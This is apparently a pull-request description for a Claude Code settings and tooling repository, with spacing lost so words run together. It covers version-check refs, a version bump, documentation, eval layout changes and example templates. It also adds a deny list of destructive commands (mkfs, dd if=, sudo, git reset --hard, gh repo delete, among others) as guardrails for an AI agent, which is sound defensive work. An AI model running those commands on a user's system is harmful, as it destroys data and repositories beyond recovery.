~/.claude/settings-repo-reffile so users can track a non-mainbranch/tag/SHA for global-settings version checks (applies to both the GitHub API andgit fetchlookup paths incheck-settings-version.sh).block-write-commands.shto also protectsettings-repo-ref, and add deny rules insettings.jsonfor destructive commands (sudo,mkfs,dd if=,gh pr merge,gh repo delete,git reset --hard,git clean -f*,git filter-branch,git checkout --,git restore,git config --global, etc.).CLAUDE.local.mdflow: dropglobal-settings/CLAUDE.local.md.exampleand references in README/parallel-agents docs; gitignore.claude/settings.jsonandsettings.local.json.global-settings/VERSIONfrom1.4.0→1.5.1.docs/claude/(commands, getting-started, global-claude-settings, parallel-agents, testing, workflow, writing-docs, writing-skills, writing-specs) and theusage-tracker/docs (MODELS, QUICKSTART, README, SETUP).evals/workspace/iteration-Nlayout, and thebaseline_scoreregression marker inwriting-skills.md; clarify L3/L5 detection criteria and the updated evals schema..gitattributesfor line-ending normalization.local-llm.md(local LLM setup) andplaywright-setup.md(browser testing).mcp.json.exampleandCLAUDE.local.md.exampleunderdocs/claude/examples/settings-repo-ref.exampleandsettings-repo-url.exampletemplatesexapp-sidecar-status.mdChecks
documentation.yml) does not trigger for PRs targetingfeature/claude-code-tooling.Test plan